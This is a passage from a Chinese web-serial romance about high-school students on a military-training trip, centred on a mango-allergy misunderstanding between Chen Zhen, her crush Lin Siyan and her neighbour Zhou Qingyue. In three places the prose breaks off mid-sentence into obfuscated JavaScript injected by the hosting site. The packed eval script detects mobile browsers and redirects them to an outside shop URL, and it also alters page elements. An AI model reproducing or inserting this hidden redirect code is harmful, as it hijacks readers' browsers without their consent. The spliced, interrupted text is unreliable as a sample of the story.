“现在可以了,陈真你快说!”庞欣畅这次学乖了,声音压得特别低。 虽然看不见,但听窸窸窣窣的声音,另外三个人估计都爬起来准备听八卦。 陈真也爬起来,虽然什么都看不见,但也不妨碍她对着一团乌漆嘛黑聊天:“你们不要告诉别人。” “绝对不告诉。”庞欣畅的声音。 还是不放心,陈真又说:“你们保证。” “我保证,如果骗人就罚我一天只能看到一个帅哥!”庞欣畅的声音。 “如果骗人就罚我一天只能睡10个小时!”这是许愿的声音。 “如果骗人就罚我语文只能考140!”这回是徐静宜的声音。 陈真:“……” 真是好毒的誓言啊。 “快点说陈真,急死我了。” “对呀,好着急!” “快说快说!” “好了好了我说。 陈真躺回被子里。 “我喜欢的人——” 她拿起放在枕边的兔子玩偶,心底漾起一股暖意,她笑着把兔子玩偶抱进怀里。 “他叫林斯言。” _ 第二天清早,学生公寓楼的广播都开始响起起床铃。 陈真睡眼朦胧地起床,然后下床洗漱干净,穿上军训服,和舍友一起去学校门口的集合点。 刚到校门口,就看见几十辆公交车停在学校门口马路边,按照班级顺序依次排下去,每一辆车前都竖着一面班旗,风吹过,几十面旗子都迎风飘扬,色彩斑斓的各色班旗随风鼓动,猎猎作响,场面十分壮观。 一班的班车在队伍的最前面,李明扬活力四射地摇着班旗,声音响亮:“一班在这里集合!” “排好队,一个一个上!” 班车前聚集的人特别多,大家都乖乖排队,按照先来后到的规矩上车。陈真她们虽然没起晚,但几乎是队伍的最后面了。 “也不知道能不能有座位。”徐静宜担心地说。 车上人满为患,看着一个空位都没有。 庞欣畅双手合十:“祈祷能让我们挤进去。” 陈真倒是不太在意,神情悠哉悠哉:“放心,肯定会让我们上去的,总不会让我们去坐别班的车吧?” 话音刚落。 班长走过来。 他看了一眼还很长的队伍,思考片刻,对着还在排着队的人说:“咱班人多,车座位不够,需要匀一些人去28班的班车上,有没有人愿意去的?” 队伍顿时一片哄闹,大家都不想去别的班车里坐。 庞欣畅看向陈真:“刚刚是谁乌鸦嘴,站出来。” 陈真还是丝毫不上心,气定神闲用手扇风:“放心啦这么多人,总不可能刚好挑到我们去。” 迟迟没有人主动站出来,于是李明扬走到队伍最后面,数了数人,接着到庞欣畅旁边,手伸在她面前:“那就从这里开始,后面的同学去28班的班车。” 庞欣畅:“……” 许愿:“……” 徐静宜:“……” 陈真默默拿出手机:“现在打车还来得及吗?” 庞欣畅想起昨天李明扬摔了一跤的事,估摸着他是记上仇了,不然怎么刚刚好就从她们宿舍开始划分。她脸上藏不住事儿,怎么想的就怎么表现出来了,有些不满地看着李明扬。 李明扬觉得冤:“你别这么看着我,我也是公事公办儿。” 听说李明扬小时候在北京长大的,所以说话一股子京味儿,劲劲儿的。 “是吗,我看你像是公报私仇呢。”庞欣畅抱胸站着,一脸的不服。 李明扬委屈道:“那可没有,你可别误会我了。” 知道庞欣畅的脾气,许愿急忙把她拉过来,晓之以情动之以理:“班长也是数着人数来的,不能算在他头上。” 李明扬赶忙应道:“是的是的。” 陈真也好言相劝:“对呀,班长这人虽然抽象了点,但还是很负责的。” 李明扬:“是的是……” 不是,怎么听着像骂他的? - 从一班走到二十八班,有很长很长的一段路。 “去二班或者三班不行吗?28班的车离我们这么远,一个在头,一个在尾。”庞欣畅一脸生无可恋地边走边说。 徐静宜说:“因为28班人最少,我们班人是最多的。” “还有这种说法?” 庞欣畅看起来对成绩还有分班的事情没什么了解,所以甚至不知道一班在整个年级属于倒数第一,徐静宜对成绩一类的事情很上心,了解到的东西也很多,于是跟她简单说了一下。 她们这个年级一共28个班,入学成绩最好的学生按排名分到了28班,稍差一点的分到27班,依次类推一直到一班。 “……所以,我们班是整个年级成绩最差的?”庞欣畅问。 虽然很不想承认,但徐静宜也不能否认这个事实,只能无奈点头:“对。” “啊!”这下庞欣畅更加生无可恋了,哀愁道,“想当初我也是全校前十,怎么到了川高我倒成了吊车尾了。” 陈真和许愿在争论草莓味的棒棒糖好吃还是水蜜桃味的好吃,听见庞欣畅的话,她把水蜜桃味的棒棒糖放进嘴里,没心没肺地说:“知道这说明什么吗?” “说明什么?” “说明我们的进步空间最大啊。”陈真理直气壮道。 “……”庞欣畅一副听你吹的表情。 陈真也起劲了,循循善诱道:“你想,我们有整整二十六个班的进步空间,谁能和我们比?” “是这个道理。”徐静宜说。 “倒是有一个班能和我们比。”陈真补充道。 “啊?哪个班?” “28班啊,她们有26个班的退步空间。” 好像很有道理的样子。 庞欣畅也说:“顿时不惆怅了。” 陈真一副孺子可教也的神情:“是吧?” 走到28班班车的时候,陈真她们发现车里的人真的很少,后面有很多空位。 陈真和许愿在车厢左边后面的位置坐下来,庞欣畅和徐静宜坐在同一排的右边。 “陈真我好困啊,先睡了。”许愿趴在书包上,对陈真说。 困包许愿真的随时随地都容易犯困,陈真觉得她真的太可爱了:“好,你睡吧,要不要我给你唱哄睡歌?” “不要。”许愿捂住耳朵,立场坚定地拒绝,“我还是要脸的。” 车厢里十分安静,比起一班的吵闹,二十八班的学生大多在做自己的事,没怎么聊天。也有可能是人比较少的原因,车厢里十分安静,和一班的吵闹形成鲜明对比。 陈真觉得有些无聊,看着窗外发呆,窗外是许多穿着迷彩服,戴着迷彩帽的少年,脸上都挂着未脱的稚气,走着跑着,奔向自己的班级。 忽然,余光瞥见熟悉的身影。 周清越从前车门走进来,阳光落在他身上,原本漆黑的头发在光亮里被晕染成温柔的金色。 他穿着军绿色迷彩服,看起来十分贴身,勾勒出少年挺拔的身形,腰间规矩地系着黑皮带,圈住少年腰部的轮廓,精致的锁骨若隐若现,他肩上懒散地挎着一个黑色双肩包,一整个宽肩窄腰的身材。 应该是刚睡醒的缘故,他神情冷淡倦怠,深色的眼眸低垂,掩于浓密的睫毛之下,英挺的鼻梁在脸上落下阴影,唇紧抿着,勾出平直的弧度。 他这人,有起床气,陈真都能想到他一大清早被起床铃吵醒时脸有多臭,也难怪现在表情拽得二五八万的。 陈真一直望着他,两人的视线忽然交汇。陈真没打算和他打招呼,他俩的关系没有打招呼的习惯。 周清越也没废话,走到陈真旁边时,挑眉表达疑惑,意思是见了鬼了,你怎么在这。 陈真懂他想问什么,于是简单概括:“我们班没位置,班长叫我们来你们这。” 他点点头,然后放下包,十分自然地在陈真后面的位置坐下。 “谢白,坐这。”周清越招呼道。 陈真看过去,还真是谢白。谢白是十六班的,现在也来28班的班车,估计和她们同病相怜,自己的班车没座位,所以被安排过来。 一听到这个名字,原本趴在书包上补觉的许愿像是被电流刺了一下似的,忽地抬起头。 陈真赶紧问她怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562521|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了。 许愿呆愣地坐着,背僵直,过了一会儿又趴回去,头埋得更低了,特别小声地跟陈真说:“没事儿,做了个噩梦。” 陈真刚想安慰一下许愿,就听见身后传来声音。 “这是你朋友?”旁边有个男生看着陈真问。 “嗯。”周清越懒怠地应了一声,又好像想起什么,声音带着点刚睡醒的沙哑,补充道,“邻居。” 陈真闭了闭眼,她一下就听出了周清越的嘲讽,于是她向后靠了靠,接着补充:“不熟的邻居。” 周清越靠着窗,撑着下巴,眼睫微动,皱眉问道:“你再说一遍?” 可是陈真没理他,因为,她看到了另一个人。 他一上车,陈真就感觉世界调了静音键,窗外的风变得很温柔,阳光暖洋洋的,而林斯言,那么耀眼。 他看见了陈真,有些惊讶,但马上想到了原因,他笑着走过来:“哈喽,陈真。” “哈喽林斯言。”陈真一副不在意的样子淡淡回应他。 一听到林斯言的名字,刚刚还在昏昏欲睡的庞欣畅立马清醒了,连忙摇醒旁边点头钓鱼的徐静宜,小声用气音说:“快醒醒,陈真传说中的男神来了!” 徐静宜一下子醒了,连忙朝窗外望去,庞欣畅把她的头扭过来,指了指林斯言的位置:“这呢。” 于是两人一个假装看书,一个假装照镜子,不着痕迹地看过去。 像两个八卦记者似的。 庞欣畅:“我去,又是一个帅哥,我们被帅哥包围了。” 徐静宜锐评:“看着像有八百个女朋友。” “原来陈真好这一口。”庞欣畅边摇头边啧道。 林斯言直接坐在陈真前面的位置,然后转头问她:“吃早餐了吗?” “没有。”陈真依旧是不咸不淡的语气。 林斯言从包里拿出一盒芒果味的莎布蕾,递给她:“我记得你爱吃这个曲奇。” 陈真看着那盒曲奇,看清包装上的口味时,眼底划过一丝情绪,她犹豫了一会儿,最后接过:“谢谢。” “跟我客气什么。” 陈真微抿唇:“那不谢谢。” 林斯言笑起来:“嗯。” 拿着那盒芒果味的曲奇,陈真有些愣神。 因为她芒果过敏。 突然想起身后坐着的是周清越,陈真赶紧把盒子封皮盖住。希望他没看到,要是被他看到估计又要来管教她了。 偷偷转头看向车窗倒影,窗户映出少年的侧颜,轮廓硬朗分明。 ……他好像真的看到了。 手机震动了一下,点开一看,是周清越发的。 zqy:待会下车先别走,等我 陈真揉揉太阳穴,有些无奈。周清越发这个消息,肯定是因为林斯言给她的那盒芒果味曲奇。 小时候大人不在家,她和周清越去便利店买吃的,周清越买了一盒水果沙拉,陈真平时家里严防死守不让她吃芒果,久而久之反而壮大了她的胆子和馋嘴,周清越不知道啊,陈真说让她尝一口,他就乖乖给她了,结果当时陈真吃了一口芒果,下午就躺医院里了。 还是周清越背着她打车去的医院。 她现在都记得,他们两个小孩在医院等大人过来,她躺在床上笑嘻嘻说没事的,周清越坐在床边,脸紧绷眼眶泛红,他当时还不会骂人,就用了他唯一会的词:“陈真你混蛋。” 从此周清越仿佛对芒果有了PTSD,比她爹妈管的还紧。 看着那条消息,陈真叹了口气,想了想,简短回复道:哦。 刚放下手机,又是一条消息,点开一看,是庞欣畅在宿舍群发的消息。 庞欣畅:陈真你在你男神面前这么高冷的吗?震惊jpg 徐静宜:要不是你说你喜欢他,我还以为你们不熟 庞欣畅:我懂了(坏笑),这叫欲擒故纵 怕被林斯言看到,陈真特地把手机藏起来一点回消息。 陈真:不是 陈真:我喜欢一个人就是这样的 就是会装作不在意,因为怕他发现自己的心思。 关上手机,陈真握着那盒曲奇,轻轻呼了一口气,然后侧头看着窗外。 喜欢一个人,对他会是什么感受?她其实也搞不懂,因为之前也没喜欢过别人。 虽然对林斯言的感觉也很朦胧,但她觉得,她应该是喜欢他的。 8. 八颗星星 准备发车的时候,二十八班班主任姗姗来迟。她看起来很有气质,淡雅高知,脚上踩着一双低跟鞋,头发盘得一丝不苟,抱胸走进来,哒——哒——哒,一步一缓,她扫视了一圈车上,然后缓缓落座。她一句话也没说,却散发着压迫感,车厢里比起刚刚更加安静。 宿舍群里又发来消息。 [庞欣畅:天哪,我想打嗝怎么办?不敢打了] [徐静宜:身在异班为异客,每逢寂静倍思班] [庞欣畅:天杀的李明扬,我回去一定要和他掰扯掰扯!让我们来这受这种折磨呜呜呜] [许愿:我睡了,各位自便] [陈真:@许愿,睡我怀里] [许愿:色狼(惊恐.jpg)] …… 车子晃晃荡荡,车里寂静无声。 旁边的许愿似乎已经睡着了,右边庞欣畅和徐静宜也都撑着下巴“钓鱼”。 陈真靠在窗边,看见一辆辆车子在眼前划过。 车子行至一半,刚好路过她之前的初中,早晨的阳至中学校门口附近有许多早餐餐车已经出摊,冒着腾腾的热气,穿着红白校服的学生们背着书包,嘴里叼着包子,小跑着进校门。 突然回想起许多在这里经历过的日子。 她回头叫周清越一起看,一转头,发现他睡着了,怪不得一直那么安静。 人,有时候会有奇怪的好奇心,比如看见他闭着眼睛,陈真就情不自禁多看了他一会儿。他睡着的时候,散去了一些平时的混球劲儿,长而密的睫毛乖乖垂着,神情看起来柔和很多。 看着没那么欠揍了,甚至,还有点诱人。 阳光从车窗外照射进来,照在他脸上,他的眉头轻轻皱起。 陈真伸出手,想要帮他把窗帘拉上,无奈距离太远,她只能调整姿势整个人朝后转,然后伸直手,整个身子倾过去才能勉强够到。 手指不小心触碰到他的耳朵,温热的触感停留在指尖,温温的,热热的,与她指尖的冰凉碰撞,他的睫毛颤了颤。 他会不会突然醒了? 他如果睁开眼睛,看见她这个怪异的姿势,不会觉得她是色狼吧? 可是这光天化日,朗朗乾坤,全车人都在,她怎么可能…… 不对不对,就算是在一间狭窄的小房间,刚刚好只有她和他两个人,而刚刚好他又睡着了,她也不会对他做什…… 不对,更不对了。 脑子里都在想什么啊!她只是想拉个窗帘而已,况且周清越也没醒,就算他醒了,也没什么好解释的。 窗帘,拉,还是不拉,这是一个问题。 陈真不想半途而废,还是伸手去拉了窗帘。 这什么窗帘,怎么离得这么远。伸过去一点,再伸一点,快够到了,差一点点,她几乎整个人都俯过去。 嘀嘀—— 厚重尖锐的鸣笛声划破车厢的安静。 “怎么开的车啊!转弯让直行不知道啊!”司机暴躁的声音响起,这嗓门真大,后排都听得一清二楚。 猛地一脚刹门,整个车厢向前倾倒。 她被惯性推着往后仰,恍惚间,一切放慢模糊朦胧,她下意识转头朝后扶住座椅稳住。 再一次转过头,本来闭着眼睛睡觉的人在那一瞬间睁开了眼睛,睫毛的阴影交晕错落,穿过层层叠叠的光影,望进一个乌黑清亮的夏天,在那里面她看见了略惊讶的自己,模糊而清晰。 根据人类学家爱德华·霍尔的研究,人类的亲密距离可以分为四个层次——公共领域、社交距离、个人距离和亲密距离。 亲密距离的定义是0到44厘米,而近程亲密距离的定义为小于15厘米,在此距离内,我们可以辨认对方面部细微的变化,可以感受到对方的体温和呼吸。 她现在和他的相距,就属于这个距离,近到能闻到他身上淡淡的柚子沐浴露气味,能感受到他呼吸和体温,她能清清楚楚感受到他,明白、真实。 他也愣住了。 他刚刚做了一个梦,梦里有无数看不清脸的轮廓与声音,有的陌生有的熟悉,嘈杂混乱。他一个人被置于中央,所有的灯光都射向他,所有人都看着他,他却看不见所有人,光芒刺向他的眼睛,他就什么都看不见了。 这时耳边有一个声音,是她的声音,她说,我们一起逃跑吧。她带他跑到一条没有人的夜路,跑啊跑,那里什么都没有,只有他,和她。 她转头看向他时,世界突然颠倒扭曲。 再睁开眼,一眼望进了她的眼里,像是穿过了那条没有尽头的夜路,在最后的光明处看见了她,清晰得不像梦。 他一时分不清梦与现实。 _ “我觉得她对你图谋不轨。”下了车,谢白跟周清越说。 周清越还处于将醒未醒的恍惚之中,好像还没从那个悠长的梦里抽离出来,谢白的话在他脑海里拆解抽离成“她”、“你”、“图谋不轨”,然后被他自动拼凑成“你对她图谋不轨”。 你,对她图谋不轨。 这句话一下子让他清醒过来。 所以,那确实是一个梦,不是真实的,是他对她图谋不轨的证据,是存在于他自己脑海里的证据,她不会知道。 “我有时候有点怀疑,她是不是喜欢你?”谢白边走边说。 他也曾怀疑过,也曾这么希望过。 可这和那个梦一样,不是真的。 “她不喜欢我。”他回答得利落直接。 周清越知道陈真有一个秘密。 不得不承认她隐藏得不错,如果不是偶然的一个巧合,他也许一直都不会发现这个秘密。可他宁愿没有那个意外,这样他就不会知道她的秘密,也不会知道她和他一样,在暗恋一个人。 这样他还能放纵自己,在某一些时刻去大胆奢望一下,比如一起遛狗散步的夜晚,骑车并行回家时谈天说地的黄昏,讨论数学题时忽然的对视,过年时闭眼为对方祈愿后,睁开眼睛看着彼此的那一秒…… 如果不知道她的秘密,在那么那么多的时刻,他也许能允许自己去大胆奢望,奢望她是不是也有一点点喜欢他。 可是他不能了。 他不是她的秘密。 “你怎么这么确定?”谢白问。 他没有回答,而是反问:“你知道她芒果过敏吗?” 谢白说:“知道啊,但凡认识她的人都知道吧。” 你看,连谢白这个跟她关系不怎么好的人都知道的事情,林斯言却不知道。 周清越见过陈真喜欢一个人时的样子,表面冷淡不在意,其实总是会找机会跟那个人说很多很多关于她自己的事情,那么浓烈的分享欲,恨不得告诉那个人关于她的一切。 有时候他特别嫉妒,他用那么多年的时光才一点点了解她,了解她喜欢看热血动漫、喜欢《名侦探柯南》、《美少女战士》;跆拳道拿过三个奖,长笛八级;她讨厌吃芹菜和葱花,芒果是万万不能碰的,因为会过敏;最爱做的事是发呆,最讨厌的是麻烦,陌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她想占你便宜,就车上那会儿,还有很多时候,你自己小心点。” 周清越瞥他一眼:“没关系,我乐意让她占。” “想占你便宜不代表会对你负责,懂吗?你要有一点自我保护意识。”谢白谆谆教诲,希望自己兄弟能清醒一点。 “哦,那她怎么就占我的便宜,不占你的?” 谢白被堵得一时语塞,他前两周刚给自己定下不说脏话的要求,现在就直接破戒:“……妈的智障,滚远点。” 骂完之后,谢白又觉得不对,他好像没资格骂一个次次年级第一的人智障。 于是他十分严谨地换了个词,重新骂一遍:“傻逼。” 终于到了基地,学生们依次下车,陈真想起周清越给她发的消息,于是下车之后跟舍友们说了一声,然后在一颗树下等他。 周清越穿过人流,朝她走过来。 她的视线紧紧粘着他,可他今天却一反常态,对上她的眼神时,挪开了视线。 这简直太不正常了,以前不管时候,当他们对视,只要她不移开视线,他就会一直看着她,像是跟她较劲儿似的,陈真觉得这和小时候他跟她比谁考试分数更高本质上没什么区别。 不会是因为在车上因为急刹而意外产生的哪几秒近程亲密距离,让他以为她偷偷摸摸靠那么近是想吃他豆腐吧?天地良心!她明明在车上就跟他解释过了。 这家伙,越来越不对劲了。 她看着他一步步走过来,不得不承认,他实在是个秀色可餐的帅哥,就走这么几步路,像男模走秀似的,吸引了一堆的视线,好像也不缺她一个,于是陈真也没再看他,百无聊赖地在树下踢树枝等他过来。 他一过来,陈真就准备跟他在解释一遍车上的事:“我刚刚真的是准备拉窗帘。” 可他走过来,伸出手,只有一句话:“陈真,给我。” 9. 九颗星星 陈真反应过来,大概知道他的意思了,但手心握得更紧:“为什么要给你。” 周清越不说话了,只是低着头,眉头微蹙,周遭散发着低气压。 陈真语气稍微软下来:“你要吃的话,我给你。” “我不吃。”他直接了当地说。 “那你……” “扔了。”他少见地打断她说话。 陈真把那盒曲奇捏在手里:“不扔。” …… “陈真。”他沉默了好一会儿,眼睫微动,陈真听见他的语气像暗流涌动之上的海面:“所以只要是他送的,即使芒果过敏,你也要吃是吗?” …… ——即使芒果过敏,你也要吃是吗? 他说这话的时候,声音有了些波动,很小的起伏,是有些示弱、有些软化的语气,难以察觉。 陈真只觉得他莫名其妙,只是一盒曲奇而已,他凭什么管她,她不喜欢别人对她指手画脚,尤其是周清越。 两人之间气氛僵住,周围不停有学生路过,好奇的八卦的随意一瞥的,视线一束一束看向他们。 陈真不想多说什么,她把曲奇放进书包,拉上拉链,背好之后朝前面的班级队伍走去,边走边说:“我没说要吃。” 大门口各班老师开始叫学生集合,一班离得远,她跑起来,带起一阵风。 那风燥热,裹挟着她的话吹到周清越耳边。 “你别管我的事。” _ 上午的军训挺顺利,教官是个很年轻,好说话,人也有趣,不太严格,休息时间能和学生打成一片嘻嘻哈哈。空气虽然有些热,但太阳不大,军训服也很合身,穿着很舒服。 一整个上午的军训都在练习立正、向左向右转,陈真完成得很好,没有转错过方向,保持立正站立姿势的时间也是全班最长,就连教官都夸她姿势标准、忍耐力强,是军训标兵。 按理来说,这是比想象中好很多的开端,但她却开心不起来,说不清为什么。 中午休息的时候,211宿舍四个人一起去食堂打饭,走着路上,庞欣畅夸赞道:“厉害啊你,那么大太阳你还能站那么久,佩服。” 陈真说她只是在发呆,她们都不信。可她没说谎,立正的时候,她在出神想事情,所以才不知不觉就站了很久很久。 “我才不信呢。”庞欣畅说。 陈真唇角微抿。也是,她自己都不太相信。 到了食堂,她最先打好饭,找了一个地方坐下来。 没什么胃口,只是小口小口地吃着。 刚吃没多久,眼前有一个人停在她面前,抬起头,是谢白,他旁边是周清越。 他单手端着饭盘,直接走了过去。 谢白似乎有点不解,他看了一眼陈真,但什么也没问,然后跟着周清越径直走了。 陈真的眼神追着周清越的背影,看着他越走越远,然后赌气似的垂下眼眸,戳了戳碗里的饭。 放下筷子,一点胃口也没有了。 庞欣畅她们三个人都打好饭了,笑着闹着坐下来。 “我们学校帅哥真多啊,我恨不得长十双眼睛,真是看不过来!”庞欣畅兴奋地感慨着。 “有多帅?比陈真的邻居还要帅吗?”徐静宜打趣道。 自从上次她们见过周清越之后,他就正式成为了211宿舍评判帅哥的标准,能和周清越比一比的,才能叫大帅哥,其他的只能叫小帅哥。 “周清越什么档次,其他人肯定比不了。”庞欣畅说。 许愿对身边人的情绪变化很敏感,今天陈真和周清越说完话重新跟上她们的时候,她就发现不对劲了,她想询问原因,又怕陈真不需要她的关心,会嫌她烦,所以一直没有问出口。 有时候她也很苦恼,觉得自己像只蚕茧,能感受到别人感受不到的细小气氛,然后变成若有似无极细极小的丝线,一根根将她缠住,她觉得自己被困住了。 可看陈真一直没说话,也不吃饭,今天上午军训的时候她的状态就不对,看起来兴致不高的样子,她还是开口问道:“真真,没胃口?” 陈真的思绪被许愿的声音拉回来,点了点头。 “怎么了?”许愿又问。 怕她们担心,她就找了个借口搪塞过去:“没什么,可能就是天气太热了,不太想吃东西。” “哦。”许愿垂下眼,想了想,也没多问什么,只是把她碗里凉菜夹给陈真,“那吃点凉菜吧,凉菜开胃。” 陈真看着那些凉菜,说了声谢谢,然后夹了一口,放进嘴里。 积压了大半天的情绪在这一刻产生裂缝,延伸开裂,心底涌起一股酸涩的情绪,直冲上来。 不太好受。 林斯言就是这个时候来的,他跟陈真打了个招呼。 徐静宜最先看到林斯言,于是赶紧小声跟庞欣畅和许愿说:“一级戒备,真真男神来了。” 陈真的神情却没有什么变化,她点点头,回应了林斯言一句,然后接着低下头吃饭,一句话都没有多说。 庞欣畅她们视线交汇,都在对方眼里看出了疑惑。但是想到之前陈真和林斯言的相处模式,似乎也情有可原,可能陈真面对男神有点害羞吧。 于是庞欣畅主动接下这个重任,热情邀请道:“哈喽!你是陈真朋友吧?坐一起吃呗!” “好啊。”林斯言也很给面子,直接坐了下来。 陈真拿筷子的手一顿。 林斯言敏锐地发觉陈真今天不对劲,虽然她之前对他也是冷冷淡淡的态度,但他很清楚那只是陈真的一种掩饰,可是今天的冷淡,倒像是她真的没有兴趣和他说话。 他好奇了,所以他要弄清楚。 他不动声色地笑着问:“你今天怎么了?干饭都不积极。” 陈真随口回道:“不想吃。” “那想吃什么?”他顺口一问。 其实陈真之前和他说过很多次,关于她爱吃什么不爱吃什么,说起来都停不下来,但他不记得了。 不过没关系,陈真会乐此不疲地和他重复。 他像往常一样等待陈真的回答,只是这次她的回答在他意料之外。 “我之前和你说过的。”她说。 她很随意地把问题踢给了他,和之前一次次的重复不一样,和他的预判产生了偏差。 这让他愣了愣。 但他脑子转的快,眼神不经意扫过陈真的饭盘:“……辣子鸡?小炒肉?清煮苦瓜?” 看她神情不对,他直接顺滑地改变策略:“还是别的什么?你知道我的,记不住这些。” “我喜欢吃芒果。”陈真看着他,轻声说。 林斯言依稀记得她提过芒果这个东西,那应该就是芒果了,他恍然大悟道:“噢,芒果,那我晚点去给你买,怎么样?够意思吧?” “林斯言。”沉默了一会儿,陈真突然叫他的名字,语气有些认真。 “嗯?” 其实我芒果过敏。 我跟你说过的,不止一次,也不止两次。 她本来还存有一丝侥幸,他会不会只是没有注意到那盒曲奇是芒果味的。 她轻轻叹了口气,人还是不能心存侥幸。 话到嘴边,陈真最终还是没有说出,只是夹起最后一片苦瓜,放进嘴里细细地嚼,苦涩感慢慢蔓延到整个舌尖,苦得让她有些咽不下去。 夏季的苦瓜,苦味格外的浓重,但她还是努力咽了下去。 然后漫不经心地说:“没什么。” 没多久,饭桌上的气氛热闹起来,大家都热络聊起天。 其实一开始氛围有点冷,因为就陈真和林斯言他们认识,但陈真今天也不知道怎么了,安安静静的。加上林斯言看着像个特别高冷不好接近的人,给人威压感,搞得庞欣畅这个社牛都不敢和他说话。 没想到林斯言没有外表那么难以接近,反而是热场子的那个。他非常轻松地找到了话题,聊起天很自然有度,距离划得刚刚好,不逾矩,不冷场,热情大方,又幽默有趣。 不一会,就和庞欣畅聊熟了。 他就是这样一个人,和他的名字一样。只要不惹他,他可以周到礼貌到无可挑剔。 “真的,我上次和陈真打csgo,她打的也可好了。” “嗯,很多人都这么说,其实根本不是那样,我挺好说话的。” “暑假本来想约陈真去电玩城一起玩的。” “没有,她拒绝我好多次。” “是吧,陈真?” 突然被提到,陈真抬眼,其实她什么都没注意听,但还是点点头。 思绪却完全不在这,而是神游天外,目光忽然瞟到斜前方,看见了周清越的身影,郁闷的情绪包裹着她,食不知味。 看电视剧的时候,总有一些误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562523|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会桥段过多少集都解不开,每次看到她都觉得难受,打心底里闷得慌。 现在她和周清越的情况就是这样,不清不楚,不明不白,太难受了。 “我吃完了。”陈真突然站起身,端起饭盘,“你们慢慢吃。” 目光锁在那个身影上,没想那么多,她直接朝着那个位置走去。 不远处少年眼眸微垂,骨节分明的手拿着筷子,一口一口夹着菜。 陈真端着饭盘状似漫不经意地路过。 周清越,我把台阶摆在你脚边了,真的不下吗? 可是周清越像是没看见她,直到走过去,他都没有搭理她。 陈真停下脚步,皱了皱眉,停顿了几秒,然后直接转身,在他旁边又走过一遍,这次的目光明目张胆地落在他身上,顺便咳两声。 就差说快看我快看我了。就连旁边的谢白都感受到了视线,抬起头,一副看奇葩的眼神看着她。 陈真皱着眉,不甘心地踏着步折返,再一次假装路过,这回连旁边吃饭的人都被她这奇异的举动吸引了目光,可是真正想引起注意的那个人仍旧认真吃饭,眼神都没半点松动。 最后陈真不走了,直接站在周清越面前,一言不发,情绪席卷而来,将她漏风的口子撕裂,本来压抑着的感受此时在心里横冲直撞,随时准备破土而出。 到底怎样才能和好,也不说句话,这家伙,不就是她偷偷藏了盒芒果味的饼干嘛,弄得好像天大的事儿。 她的语气是重了点,也不应该说出“你别管我的事”这种话,她知道他是为她好。 唉,算来算去都是她的问题。 陈真深吸一口气,想着干脆跟他道个歉好了,周清越这个人,她再清楚不过了,好哄。 “周清——” 话刚出口,对面的人先她一步—— 周清越抬眼看她,他不高兴的时候眉眼带着锋利劲儿,看着特不好惹,说话也带刺:“你在食堂都能迷路了?” 冤家和冤家之间太熟就是不行,太了解对方的弱点了,一戳一个准,让你气得吐血又拿他没办法。 “一直看着我干嘛?我脸上有字?” 陈真:“……” 确实有字,她看见了,“我最能装”写脸上了不是。 她转身就走,没有多说一个字。 她走后,周清越看着完全不受影响,接着夹起饭盘里的菜。 谢白看着他:“有一个问题我想问很久了。” 周清越夹起菜放进嘴里:“我没事。” 谢白:“不是……” 周清越:“我没生气。” 谢白:“我想说的是……” 周清越:“你也觉得那个林斯言很欠揍是吧?” 谢白:“那个……” 周清越扎了扎饭:“她是笨蛋吗?看上那种货色。” “能不能听我说……” 周清越脑袋跟着声音一起低下去:“怎么可以为了他连芒果都吃。” 谢白忍无可忍,少爷脾气上来了:“给老子闭嘴!” 周清越消停了:“哦。” 谢白恢复文明用语:“你知道你在吃什么吗?” “我在吃,”周清越随意低头看了一眼,说,“苦瓜啊。” ——等等,苦瓜。 苦、瓜? 他难以置信地看向自己的饭盘,确实是苦瓜,而且是已经所剩无几的一盘苦瓜。 所以他刚刚一直在吃苦瓜——这个他从小到大最讨厌的东西。 谢白无语了,他就说这家伙改性子了?连苦瓜都能一口接一口,原来是为了在某人面前装高冷啊,看着可真高贵,看都不看人家一眼,其实注意力都在人家身上,往嘴里塞的是什么都不知道。 他一脸看弱智的表情看着他,然后把手伸到他额头上:“发烧了吧你?” 周清越皱着眉拍开他的手:“滚。” 他视线跟着前面越来越小的身影,心底有一块落了下去,他低下头:“可能真的发烧了吧。” 不然为什么这么难受。头也难受,心也难受。 看着他这幅情绪低落的样子,谢白觉得自己刚刚有点凶了。 于是打算安慰一下他:“哎,你就当我嘴贱。” “嗯。”周清越应了一声,抬眼看着他,“那正好,下午你帮我跟教官请个假。” 谢白:“……” 10. 十颗星星 周清越又失眠了。 午休时间他怎么都睡不着,肯定是因为太阳光线太大了,穿过宿舍楼的玻璃亮得他眼睛疼。他翻个身一把扯过午睡毯,闭上眼睛,过了几秒又突然睁开。 一定是因为头顶的老旧风扇太响了,他烦躁地想。 国防军训基地的宿舍比不上川高,一没洗衣机,二没空调,而且还是八人间,唯一好点的就是还有独立卫浴。 头顶的风扇吱呀吱呀转个不停,阳台外就是棵大槐树,树上的蝉咿咿呀呀喊个没完没了。 烦死了。 他睡不着才不是因为某个嘴硬又没眼光、哄人又没耐心的笨蛋!就是因为太阳太亮了,风扇太响了,蝉叫太吵了,跟她一点关系都没有! 对,她是给他台阶下了,但是他没下,那她就不会多给几个台阶吗?说不定她在多给一个台阶他就下了呢? 呸,他才没这么好哄,多给一万个他也不接受。 如果她今天之内把那盒罪恶之源的芒果曲奇乖乖交到他手上,他就勉为其难原谅她了。 对,就今天,晚一天都不行! 